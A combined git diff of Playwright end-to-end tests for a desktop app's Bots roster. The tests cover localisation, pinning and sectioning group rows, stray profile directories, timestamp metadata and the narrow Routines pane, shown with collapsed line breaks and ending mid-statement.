test.info().attach('bot-chat-after-dm', { body: await page.screenshot(), contentType: 'image/png' })+ })diff --cc apps/desktop/e2e/bot-mode-roster-localized.spec.tsindex 00000000000,1ded251058c..8150d00866amode 000000,100644..100644--- a/apps/desktop/e2e/bot-mode-roster-localized.spec.ts+++ b/apps/desktop/e2e/bot-mode-roster-localized.spec.ts@@@ -1,0 -1,141 +1,140 @@@+ import fs from 'node:fs'+ import path from 'node:path'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { startMockServer } from '../../../tests-js/scripts/mock-server'+ import { RealSessionBuilder } from './real-session-builder'+ import { expect, test } from './test'++ // The Bot Mode roster ships locale bundles (en/ja/zh/zh-hant), but a handful of+ // row strings stayed English literals after the bundle landed: the bot row's+ // right-click Pin/Hide/Groups entries and the group row's "N bots" / "N of M+ // available" preview and accessible name. Under display.language=zh a Chinese+ // reader saw an English menu inside an otherwise translated pane.++ type Page = MockBackendFixture['page']++ let fixture: MockBackendFixture | null = null++ const SHOTS = process.env.BOTS_I18N_SHOTS || ''++ async function shot(page: Page, name: string): Promise<void> {+ if (!SHOTS) {+ return+ }++ fs.mkdirSync(SHOTS, { recursive: true })+ await page.screenshot({ path: path.join(SHOTS, `${name}.png`) })+ }++ async function openBots(page: Page): Promise<void> {+ const tab = page+ .getByRole('button', { name: 'Bots', exact: true })+ .or(page.getByRole('tab', { name: 'Bots', exact: true }))+ .first()++ await tab.click()+ // The `+` button's accessible name comes from the zh bundle.+ await expect(page.getByRole('button', { name: '新建机器人或群聊' })).toBeVisible()+ }++ async function seedBot(hermesHome: string, mockUrl: string, name: string): Promise<void> {+ const dir = path.join(hermesHome, 'profiles', name)+ fs.mkdirSync(dir, { recursive: true })+ writeMockProviderConfig(dir, mockUrl, ' language: zh')+ writeEnvFile(dir)++ const builder = await RealSessionBuilder.start(dir)++ try {+ await builder.createSession({ title: 'Bot Chat', turns: [`Hello ${name}`] })+ } finally {+ await builder.close()+ }+ }++ test.beforeAll(async () => {+ const mock = await startMockServer()+ const sandbox = createSandbox('bots-i18n')+ writeMockProviderConfig(sandbox.hermesHome, mock.url, ' language: zh')+ writeEnvFile(sandbox.hermesHome)+ await seedBot(sandbox.hermesHome, mock.url, 'alpha')+ await seedBot(sandbox.hermesHome, mock.url, 'beta')++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))++ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test('the bot row context menu is in the active language (zh)', async () => {+ test.setTimeout(300_000)+ const page = fixture!.page++ await openBots(page)++ const alphaRow = page.getByRole('button', { name: /^alpha\b/i }).filter({ visible: true }).first()+ await expect(alphaRow).toBeVisible({ timeout: 30_000 })+ await alphaRow.click({ button: 'right' })++ const menu = page.getByRole('menu').filter({ visible: true }).first()+ await expect(menu).toBeVisible({ timeout: 10_000 })+ await expect(menu.getByRole('menuitem', { name: '置顶' })).toBeVisible()+ await expect(menu.getByRole('menuitem', { name: '隐藏' })).toBeVisible()+ await expect(menu.getByRole('menuitem', { name: '管理群聊…' })).toBeVisible()+ await expect(menu.getByRole('menuitem', { name: 'Pin to top' })).toHaveCount(0)+ await expect(menu.getByRole('menuitem', { name: 'Hide' })).toHaveCount(0)+ await shot(page, 'bot-row-context-menu-zh')+ await page.keyboard.press('Escape')+ await expect(menu).toBeHidden()+ })++ test('a fresh group row previews its member count and availability in zh', async () => {+ test.setTimeout(300_000)+ const page = fixture!.page++ await openBots(page)+ await page.getByRole('button', { name: '新建机器人或群聊' }).click()+ await page.getByRole('menuitem', { name: '新建群聊' }).click()++ const dialog = page.getByRole('dialog', { name: '新建群聊' })+ await expect(dialog).toBeVisible({ timeout: 15_000 })++ for (const name of ['Alpha @alpha', 'Beta @beta']) {+ await dialog.getByRole('checkbox', { name }).click()+ }++ await dialog.getByRole('textbox', { name: '群组名称' }).fill('crew')+ await dialog.getByRole('button', { name: /Create Group|创建群聊/ }).click()+ await expect(dialog).toBeHidden({ timeout: 30_000 })++ const groupRow = page.getByRole('button', { name: /^crew, / }).filter({ visible: true }).first()+ await expect(groupRow).toBeVisible({ timeout: 30_000 })+ await expect(groupRow).toHaveAccessibleName('crew, 2 个机器人, 2 个中 2 个可用')+ await expect(groupRow.getByText('2 个机器人', { exact: true })).toBeVisible()+ await expect(page.getByText('2 bots', { exact: true })).toHaveCount(0)+ await shot(page, 'group-row-zh')+ })diff --cc apps/desktop/e2e/bot-roster-group-row-organisation.spec.tsindex 00000000000,2c02bf92f69..a427e39be58mode 000000,100644..100644--- a/apps/desktop/e2e/bot-roster-group-row-organisation.spec.ts+++ b/apps/desktop/e2e/bot-roster-group-row-organisation.spec.ts@@@ -1,0 -1,184 +1,183 @@@+ import fs from 'node:fs'+ import path from 'node:path'++ import { startMockServer } from '../../../tests-js/scripts/mock-server'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { RealSessionBuilder } from './real-session-builder'+ import { expect, test } from './test'++ // A group chat's roster row gets the same organisation affordances a bot row+ // has: right-click → Pin to top floats the room above unpinned rows and+ // persists on the room record; right-click → Move to section files the room+ // into a user-made section, with membership riding the durable group-chats+ // record rather than any bot's profile meta (hermes-agent#89813, #105544).++ type Page = MockBackendFixture['page']++ let fixture: MockBackendFixture | null = null++ // BOT_GROUP_ROW_SCREENSHOT_DIR=<dir> saves full-window captures at the key+ // states — PR evidence; never part of the assertions.+ async function capture(page: Page, name: string): Promise<void> {+ const dir = process.env.BOT_GROUP_ROW_SCREENSHOT_DIR++ if (!dir) {+ return+ }++ fs.mkdirSync(dir, { recursive: true })+ await page.screenshot({ path: path.join(dir, `${name}.png`) })+ }++ async function seedBot(hermesHome: string, mockUrl: string, name: string): Promise<void> {+ const dir = path.join(hermesHome, 'profiles', name)+ fs.mkdirSync(dir, { recursive: true })+ writeMockProviderConfig(dir, mockUrl)+ writeEnvFile(dir)++ const builder = await RealSessionBuilder.start(dir)++ try {+ await builder.createSession({ title: 'Bot Chat', turns: [`Hello ${name}`] })+ } finally {+ await builder.close()+ }+ }++ const ROOM = 'Standup'++ const roster = (page: Page) => page.locator('[data-slot="bots-roster"]')+ const groupRow = (page: Page) => roster(page).getByRole('button', { name: new RegExp(`^${ROOM}, `) })+ const sectionLabel = (page: Page, name: string) => page.locator('span.truncate', { hasText: new RegExp(`^${name}$`, 'i') })++ const sectionBlock = (page: Page, name: string) =>+ roster(page).locator('[data-slot="bots-section"]').filter({ has: sectionLabel(page, name) })++ /** Roster rows top to bottom: bot rows by roster key, the room by its label. */+ async function rowOrder(page: Page): Promise<string[]> {+ return roster(page)+ .locator(`[data-roster-key], button[aria-label^="${ROOM},"]`)+ .evaluateAll(rows => rows.map(row => (row as HTMLElement).dataset.rosterKey || 'group'))+ }++ async function storedRoom(page: Page): Promise<{ pinned?: boolean; sectionId?: null | string }> {+ return page.evaluate(+ room => JSON.parse(localStorage.getItem('hermes.plugin.hermes-bots.group-chats') || '{}')[room] || {},+ ROOM+ )+ }++ test.beforeAll(async () => {+ const mock = await startMockServer()+ const sandbox = createSandbox('bots-group-row')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)++ for (const name of ['alpha', 'beta']) {+ await seedBot(sandbox.hermesHome, mock.url, name)+ }++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))++ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test('a group chat row pins to the top and files into a user section like a bot row', async () => {+ test.setTimeout(300_000)+ const page = fixture!.page++ const tab = page+ .getByRole('button', { name: 'Bots', exact: true })+ .or(page.getByRole('tab', { name: 'Bots', exact: true }))+ .first()++ await tab.click()+ await expect(page.getByRole('button', { name: 'New bot or group chat' })).toBeVisible()+ await expect(roster(page).locator('[data-roster-key="local::alpha"]')).toBeVisible({ timeout: 30_000 })+ await expect(roster(page).locator('[data-roster-key="local::beta"]')).toBeVisible({ timeout: 30_000 })++ // Make a room from the two bots.+ await page.getByRole('button', { name: 'New bot or group chat' }).click()+ await page.getByRole('menuitem', { name: 'New Group Chat' }).click()+ const dialog = page.getByRole('dialog', { name: 'New Group Chat' })++ for (const name of ['Alpha @alpha', 'Beta @beta']) {+ await dialog.getByRole('checkbox', { name }).click()+ }++ await dialog.getByRole('textbox', { name: 'Group name' }).fill(ROOM)+ await dialog.getByRole('button', { name: 'Create Group (2)' }).click()+ await expect(dialog).toBeHidden({ timeout: 30_000 })++ // Back to the roster: the fresh, quiet room sinks under the bots that have+ // history, so a pin has something to change.+ await tab.click()+ await expect(groupRow(page)).toBeVisible({ timeout: 30_000 })+ await expect.poll(() => rowOrder(page).then(rows => rows.at(-1))).toBe('group')+ await capture(page, '1-room-unpinned-last')++ await groupRow(page).click({ button: 'right' })+ await expect(page.getByRole('menuitem', { name: 'Pin to top' })).toBeVisible()+ await capture(page, '2-group-row-menu')+ await page.getByRole('menuitem', { name: 'Pin to top' }).click()++ await expect.poll(() => rowOrder(page).then(rows => rows[0])).toBe('group')+ await expect(groupRow(page).locator('.codicon-pinned')).toHaveCount(1)+ // Storage truth: the flag is on the room record, where a reload hydrates it.+ await expect.poll(async () => (await storedRoom(page)).pinned).toBe(true)+ await capture(page, '3-room-pinned-first')++ // Unpin through the same item — the room sinks again.+ await groupRow(page).click({ button: 'right' })+ await page.getByRole('menuitem', { name: 'Unpin' }).click()+ await expect.poll(() => rowOrder(page).then(rows => rows.at(-1))).toBe('group')+ await expect.poll(async () => (await storedRoom(page)).pinned).toBe(false)++ // File the room into a brand-new section from its own menu.+ await groupRow(page).click({ button: 'right' })+ await page.getByRole('menuitem', { name: 'Move to section' }).hover()+ await expect(page.getByRole('menuitem', { name: 'New section…' })).toBeVisible()+ await capture(page, '4-group-row-move-to-section')+ await page.getByRole('menuitem', { name: 'New section…' }).click()+ const nameField = page.getByRole('textbox', { name: 'Section name' })+ await nameField.fill('Rooms')+ await page.getByRole('button', { name: 'Create' }).click()++ await expect(sectionBlock(page, 'Rooms').getByRole('button', { name: new RegExp(`^${ROOM}, `) })).toBeVisible()+ await expect(sectionBlock(page, 'Unassigned').getByRole('button', { name: new RegExp(`^${ROOM}, `) })).toHaveCount(0)+ await expect.poll(async () => (await storedRoom(page)).sectionId).toMatch(/^sec-/)+ await capture(page, '5-room-filed-into-rooms')++ // Remove from section returns it to the unassigned bucket.+ await groupRow(page).click({ button: 'right' })+ await page.getByRole('menuitem', { name: 'Move to section' }).hover()+ await page.getByRole('menuitem', { name: 'Remove from section' }).click()+ await expect(sectionBlock(page, 'Unassigned').getByRole('button', { name: new RegExp(`^${ROOM}, `) })).toBeVisible()+ await expect.poll(async () => (await storedRoom(page)).sectionId).toBeNull()+ await capture(page, '6-room-unfiled')+ })diff --cc apps/desktop/e2e/bot-roster-ignores-infra-dirs.spec.tsindex 00000000000,d66d619efce..e85f54b38bbmode 000000,100644..100644--- a/apps/desktop/e2e/bot-roster-ignores-infra-dirs.spec.ts+++ b/apps/desktop/e2e/bot-roster-ignores-infra-dirs.spec.ts@@@ -1,0 -1,98 +1,97 @@@+ import fs from 'node:fs'+ import path from 'node:path'++ import { startMockServer } from '../../../tests-js/scripts/mock-server'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { RealSessionBuilder } from './real-session-builder'+ import { expect, test } from './test'++ // A directory under profiles/ is a profile only when it carries an identity+ // file. Infrastructure dirs the runtime leaves there (`sessions/`, `logs/`+ // from a log rotation or cron tick) and tombstoned (deleted) profiles must not+ // surface as bots in the roster (#99392, #95188).++ let fixture: MockBackendFixture | null = null++ async function seedBot(hermesHome: string, mockUrl: string, name: string): Promise<void> {+ const dir = path.join(hermesHome, 'profiles', name)+ fs.mkdirSync(dir, { recursive: true })+ writeMockProviderConfig(dir, mockUrl)+ writeEnvFile(dir)++ const builder = await RealSessionBuilder.start(dir)++ try {+ await builder.createSession({ title: 'Bot Chat', turns: [`Hello ${name}`] })+ } finally {+ await builder.close()+ }+ }++ test.beforeAll(async () => {+ const mock = await startMockServer()+ const sandbox = createSandbox('bots-infra-dirs')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)+ await seedBot(sandbox.hermesHome, mock.url, 'alpha')++ // Marker-less infrastructure dirs, exactly the shells a cron tick / log rotation leaves behind.+ for (const stray of ['sessions', 'logs']) {+ fs.mkdirSync(path.join(sandbox.hermesHome, 'profiles', stray, 'cron'), { recursive: true })+ }++ // A deleted profile: identity file present, tombstone in profiles/.deleted/<name>.+ const ghost = path.join(sandbox.hermesHome, 'profiles', 'ghost')+ fs.mkdirSync(ghost, { recursive: true })+ fs.writeFileSync(path.join(ghost, 'profile.yaml'), 'ui_meta:\n hermes-bots: {}\n')+ fs.mkdirSync(path.join(sandbox.hermesHome, 'profiles', '.deleted'), { recursive: true })+ fs.writeFileSync(path.join(sandbox.hermesHome, 'profiles', '.deleted', 'ghost'), '')++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))++ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test('the Bots roster lists real bots only — never profiles/ infra dirs or tombstones', async () => {+ test.setTimeout(240_000)+ const page = fixture!.page++ await page+ .getByRole('button', { name: 'Bots', exact: true })+ .or(page.getByRole('tab', { name: 'Bots', exact: true }))+ .first()+ .click()+ await expect(page.getByRole('button', { name: 'New bot or group chat' })).toBeVisible()++ const roster = page.locator('[data-slot="bots-roster"]')+ await expect(roster.locator('[data-roster-key="local::alpha"]')).toBeVisible({ timeout: 30_000 })++ for (const stray of ['sessions', 'logs', 'ghost', '.deleted']) {+ await expect(roster.locator(`[data-roster-key="local::${stray}"]`)).toHaveCount(0)+ }+ })diff --cc apps/desktop/e2e/bot-roster-timestamp-meta.spec.tsindex 00000000000,89b6a26abac..9920d2a6889mode 000000,100644..100644--- a/apps/desktop/e2e/bot-roster-timestamp-meta.spec.ts+++ b/apps/desktop/e2e/bot-roster-timestamp-meta.spec.ts@@@ -1,0 -1,105 +1,104 @@@+ /**+ * E2E: the Bots roster must load when a profile.yaml carries an unquoted ISO+ * timestamp under `ui_meta` (YAML parses it as a datetime).+ *+ * On a gateway without the serialization guard, `profiles.list` never answers+ * over /api/ws and the roster spins forever (#92506). The assertion is the+ * rendered roster rows within a bounded window.+ */++ import * as fs from 'node:fs'+ import * as path from 'node:path'++ import { startMockServer } from '../../../tests-js/scripts/mock-server'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { expect, type Page, test } from './test'++ const SHOT_DIR = process.env.BOT_LIFECYCLE_SHOT_DIR || ''++ let fixture: MockBackendFixture | null = null++ async function capture(page: Page, name: string): Promise<void> {+ if (!SHOT_DIR) {+ return+ }++ fs.mkdirSync(SHOT_DIR, { recursive: true })+ await page.screenshot({ path: path.join(SHOT_DIR, `${name}.png`) })+ }++ test.describe('Bots roster — profile with timestamp metadata', () => {+ test.beforeAll(async () => {+ test.setTimeout(300_000)+ const mock = await startMockServer()+ const sandbox = createSandbox('bot-tsmeta')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)++ for (const name of ['alpha', 'zeta']) {+ const dir = path.join(sandbox.hermesHome, 'profiles', name)+ fs.mkdirSync(dir, { recursive: true })+ writeMockProviderConfig(dir, mock.url)+ writeEnvFile(dir)+ }++ // The trigger: an unquoted ISO-8601 timestamp — yaml.safe_load → datetime.+ fs.writeFileSync(+ path.join(sandbox.hermesHome, 'profiles', 'zeta', 'profile.yaml'),+ 'ui_meta:\n hermes-bots:\n created: 2026-08-22T00:00:00Z\n',+ 'utf8'+ )++ const env = buildAppEnv(sandbox)+ const { app, page } = await launchDesktop(env)+ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ })++ test('roster rows render instead of spinning forever', async () => {+ test.setTimeout(300_000)+ const { page } = fixture!++ const tab = page+ .getByRole('button', { name: 'Bots', exact: true })+ .or(page.getByRole('tab', { name: 'Bots', exact: true }))+ .first()++ await tab.click()+ await expect(page.getByRole('button', { name: 'New bot or group chat' })).toBeVisible({ timeout: 60_000 })++ const rows = page.locator('[data-slot="bots-roster"] [data-roster-key^="local::"]')++ try {+ await expect(rows.first()).toBeVisible({ timeout: 60_000 })+ } finally {+ await capture(page, 'tsmeta-roster')+ console.log(`[probe] roster rows after 60s: ${await rows.count()}`)+ }++ await expect(page.locator('[data-roster-key="local::zeta"]').first()).toBeVisible({ timeout: 30_000 })+ })+ })diff --cc apps/desktop/e2e/bot-routines-pane-narrow.spec.tsindex 00000000000,0941de3cbcc..e6ca9ff8fa7mode 000000,100644..100644--- a/apps/desktop/e2e/bot-routines-pane-narrow.spec.ts+++ b/apps/desktop/e2e/bot-routines-pane-narrow.spec.ts@@@ -1,0 -1,257 +1,256 @@@+ import { execFileSync } from 'node:child_process'+ import fs from 'node:fs'+ import path from 'node:path'++ import { startMockServer } from '../../../tests-js/scripts/mock-server'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { RealSessionBuilder } from './real-session-builder'+ import { expect, test } from './test'++ // The Scheduled jobs (Routines) pane docks at 250px beside a bot chat. A job+ // row is a grid item, and grid items default to `min-width: auto`, so a long+ // nowrap title pinned the row wider than the pane: the enable/disable Switch+ // and the delete control were clipped off the right edge and the next-run+ // label was cut mid-word (#91623, #89534). Closing the pane with its ✕ also+ // remembered the dismissal forever — re-entering Bot Mode never brought the+ // pane back (#102224).++ type Page = MockBackendFixture['page']++ const LONG_TITLE = '[bot:alpha] Weekly research digest with a deliberately long routine title that overflows'++ let fixture: MockBackendFixture | null = null+ let alphaHome = ''++ async function openBots(page: Page): Promise<void> {+ const tab = page+ .getByRole('button', { name: 'Bots', exact: true })+ .or(page.getByRole('tab', { name: 'Bots', exact: true }))+ .first()++ await tab.click()+ await expect(page.getByRole('button', { name: 'New bot or group chat' })).toBeVisible()+ }++ async function openSessions(page: Page): Promise<void> {+ const tab = page+ .getByRole('button', { name: /^sessions$/i })+ .or(page.getByRole('tab', { name: /^sessions$/i }))+ .first()++ await tab.click()+ }++ async function openUntil(action: () => Promise<void>, expected: () => Promise<void>, attempts = 3): Promise<void> {+ for (let attempt = 1; ; attempt += 1) {+ await action()++ try {+ await expected()++ return+ } catch (error) {+ if (attempt >= attempts) {+ throw error+ }+ }+ }+ }++ async function seedBot(hermesHome: string, mockUrl: string, name: string): Promise<string> {+ const dir = path.join(hermesHome, 'profiles', name)+ fs.mkdirSync(dir, { recursive: true })+ writeMockProviderConfig(dir, mockUrl)+ writeEnvFile(dir)++ const builder = await RealSessionBuilder.start(dir)++ try {+ await builder.createSession({ title: 'Bot Chat', turns: [`Hello ${name}`] })+ } finally {+ await builder.close()+ }++ return dir+ }++ /** A real cron job in the profile's own cron store, written by the real store code. */+ function seedRoutine(profileHome: string, title: string): void {+ const python = path.resolve(process.cwd(), '../../venv/bin/python')+ const repoRoot = path.resolve(process.cwd(), '../..')++ const script = [+ 'from cron.jobs import create_job',+ `create_job(name=${JSON.stringify(title)}, schedule='every 4 days', prompt='say hello')`+ ].join('\n')++ execFileSync(python, ['-c', script], {+ cwd: repoRoot,+ env: { ...process.env, HERMES_HOME: profileHome },+ stdio: 'pipe'+ })+ }++ function readJobs(profileHome: string): Array<{ enabled?: boolean; name?: string; state?: string }> {+ const raw = JSON.parse(fs.readFileSync(path.join(profileHome, 'cron', 'jobs.json'), 'utf8'))++ return Array.isArray(raw) ? raw : (raw.jobs ?? [])+ }++ async function openAlphaChat(page: Page): Promise<void> {+ await openBots(page)++ const alphaRow = page+ .getByRole('button', { name: /^alpha\b/i })+ .filter({ visible: true })+ .first()++ await expect(alphaRow).toBeVisible({ timeout: 30_000 })+ await openUntil(+ () => alphaRow.click(),+ () =>+ expect(page.getByText('Hello alpha', { exact: true }).filter({ visible: true }).first()).toBeVisible({+ timeout: 45_000+ })+ )+ }++ function routinesTab(page: Page) {+ return page.locator('[data-tree-tab="hermes-bots:routines"]').filter({ visible: true }).first()+ }++ /** Expand the collapsed right-edge Scheduled jobs tab (a no-op when the pane is already open); resolve the row. */+ async function expandRoutines(page: Page) {+ const row = page+ .getByRole('button', { name: /Weekly research digest/ })+ .filter({ visible: true })+ .first()++ if (!(await row.isVisible())) {+ const tab = routinesTab(page)+ await expect(tab).toBeVisible({ timeout: 30_000 })+ await tab.click()+ }++ await expect(row).toBeVisible({ timeout: 30_000 })+ await page.waitForTimeout(2_500)+ await expect(row).toBeVisible()++ return row+ }++ test.beforeAll(async () => {+ const mock = await startMockServer()+ const sandbox = createSandbox('bots-routines')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)+ alphaHome = await seedBot(sandbox.hermesHome, mock.url, 'alpha')+ seedRoutine(alphaHome, LONG_TITLE)++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))++ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test('a long routine title never pushes the Switch, delete control or next-run label out of the 250px pane', async ({}, testInfo) => {+ test.setTimeout(300_000)+ const page = fixture!.page++ await openAlphaChat(page)+ const row = await expandRoutines(page)+ await page.screenshot({ path: testInfo.outputPath('routines-pane.png') })++ // Geometry against the pane's own scroll container, not body text: the row+ // is a grid item, so its intrinsic width is what pins the controls off-edge.+ const geometry = await row.evaluate(button => {+ const card = button.parentElement!.parentElement as HTMLElement+ const scroller = card.closest<HTMLElement>('.overflow-y-auto')!+ const paneRect = scroller.getBoundingClientRect()++ const rect = (el: Element | null) => {+ const r = el!.getBoundingClientRect()++ return { left: r.left, right: r.right, width: r.width }+ }++ const nextRun = [...card.querySelectorAll<HTMLElement>('span')].find(s => /^next/i.test(s.textContent ?? ''))!+ const title = button.querySelector<HTMLElement>('span.truncate')!++ return {+ card: rect(card),+ pane: rect(scroller),+ switch: rect(card.querySelector('[role="switch"]')),+ trash: rect(card.querySelector('button[aria-label]')),+ nextRun: { ...rect(nextRun), clipped: nextRun.scrollWidth > nextRun.clientWidth + 1, text: nextRun.textContent },+ titleEllipsized: title.scrollWidth > title.clientWidth,+ paneRight: paneRect.right+ }+ })+++ expect.soft(geometry.card.right).toBeLessThanOrEqual(geometry.pane.right + 1)+ expect.soft(geometry.switch.right).toBeLessThanOrEqual(geometry.pane.right + 1)+ expect.soft(geometry.trash.right).toBeLessThanOrEqual(geometry.pane.right + 1)+ expect.soft(geometry.nextRun.right).toBeLessThanOrEqual(geometry.pane.right + 1)+ expect.soft(geometry.nextRun.clipped).toBe(false)+ expect.soft(geometry.nextRun.text).toMatch(/next: in \d+ days?/i)+ // The title is the one thing that MAY be cut, and it must be cut with an ellipsis.+ expect.soft(geometry.titleEllipsized).toBe(true)++ await test.step("clicking the row's Switch toggles the job in place — the pane stays, jobs.json flips (#95031)", async () => {+ const toggle = row.locator('xpath=..').getByRole('switch')+ await expect(toggle).toBeVisible()+ expect(readJobs(alphaHome)[0]?.enabled).not.toBe(false)++ await toggle.click()++ await expect.poll(() => readJobs(alphaHome)[0]?.enabled, { timeout: 30_000 }).toBe(false)+ await expect(row).toBeVisible()+ await expect(page.getByText(/Open this bot's continuous chat/i)).toHaveCount(0)+ await page.screenshot({ path: testInfo.outputPath('routines-pane-toggled.png') })+ })++ await test.step('closing Scheduled jobs with ✕ is recoverable — leaving and re-entering Bot Mode brings the pane back (#102224)', async () => {+ const tab = page.locator('[data-tree-tab="hermes-bots:routines"]').first()+ await expect(tab).toBeVisible({ timeout: 30_000 })+ await tab.hover()+ const closer = tab.getByRole('button', { name: /^close$/i }).first()+ await closer.click({ force: true })+ await page.waitForTimeout(1_500)+ await expect(page.getByRole('button', { name: /Weekly research digest/ })).toHaveCount(0, { timeout: 15_000 })+ await page.screenshot({ path: testInfo.outputPath('routines-closed.png') })++ await openSessions(page)+ await page.waitForTimeout(1_000)+ await openAlphaChat(page)+ await page.waitForTimeout(2_000)+ await page.screenshot({ path: testInfo.outputPath('routines-restored.png') })++ await expect(page.locator('[data-tree-tab="hermes-bots:routines"]').first()).toBeVisible({ timeout: 30_000 })+ })+ })diff --cc apps/desktop/e2e/bot-row-open-recent-session.spec.tsindex 00000000000,ff5cae467a7..7e2a746724bmode 000000,100644..100644--- a/apps/desktop/e2e/bot-row-open-recent-session.spec.ts+++ b/apps/desktop/e2e/bot-row-open-recent-session.spec.ts@@@ -1,0 -1,119 +1,118 @@@+ import fs from 'node:fs'+ import path from 'node:path'++ import { startMockServer } from '../../../tests-js/scripts/mock-server'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { RealSessionBuilder } from './real-session-builder'+ import { expect, test } from './test'++ // Right-click a bot row → "Open recent session" opens the bot's most recently+ // active ordinary session as a tab in its workspace, while the row's left click+ // keeps landing on the canonical Bot Chat (hermes-agent#93054).++ type Page = MockBackendFixture['page']++ let fixture: MockBackendFixture | null = null++ // BOT_RECENT_SESSION_SCREENSHOT_DIR=<dir> saves full-window captures at the+ // key states — PR evidence; never part of the assertions.+ async function capture(page: Page, name: string): Promise<void> {+ const dir = process.env.BOT_RECENT_SESSION_SCREENSHOT_DIR++ if (!dir) {+ return+ }++ fs.mkdirSync(dir, { recursive: true })+ await page.screenshot({ path: path.join(dir, `${name}.png`) })+ }++ const RECENT_TITLE = 'Deploy notes'++ test.beforeAll(async () => {+ const mock = await startMockServer()+ const sandbox = createSandbox('bots-recent-session')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)++ const dir = path.join(sandbox.hermesHome, 'profiles', 'alpha')+ fs.mkdirSync(dir, { recursive: true })+ writeMockProviderConfig(dir, mock.url)+ writeEnvFile(dir)+ const builder = await RealSessionBuilder.start(dir)++ try {+ // The canonical chat first, then an ordinary session so the latter is the+ // profile's newest listed conversation.+ await builder.createSession({ title: 'Bot Chat', turns: ['Hello alpha'] })+ await builder.createSession({ title: RECENT_TITLE, turns: ['Where are we on the deploy?'] })+ } finally {+ await builder.close()+ }++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))++ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test('the bot row menu opens the most recent session as a tab beside the Bot Chat', async () => {+ test.setTimeout(300_000)+ const page = fixture!.page++ const tab = page+ .getByRole('button', { name: 'Bots', exact: true })+ .or(page.getByRole('tab', { name: 'Bots', exact: true }))+ .first()++ await tab.click()+ await expect(page.getByRole('button', { name: 'New bot or group chat' })).toBeVisible()+ const row = page.locator('[data-slot="bots-roster"] [data-roster-key="local::alpha"]')+ await expect(row).toBeVisible({ timeout: 30_000 })++ // The row click is unchanged: the canonical Bot Chat opens, captioned with the bot's name.+ await row.click()+ const botChatTab = page.getByRole('tab', { name: /^Alpha\b/ })+ await expect(botChatTab).toBeVisible({ timeout: 60_000 })+ await expect(page.getByRole('tab', { name: new RegExp(`^${RECENT_TITLE}\\b`) })).toHaveCount(0)+ await capture(page, '1-row-click-opens-bot-chat')++ await row.click({ button: 'right' })+ const item = page.getByRole('menuitem', { name: 'Open recent session' })+ await expect(item).toBeVisible()+ await expect(item).toBeEnabled()+ await capture(page, '2-row-menu-open-recent-session')+ await item.click()++ const recentTab = page.getByRole('tab', { name: new 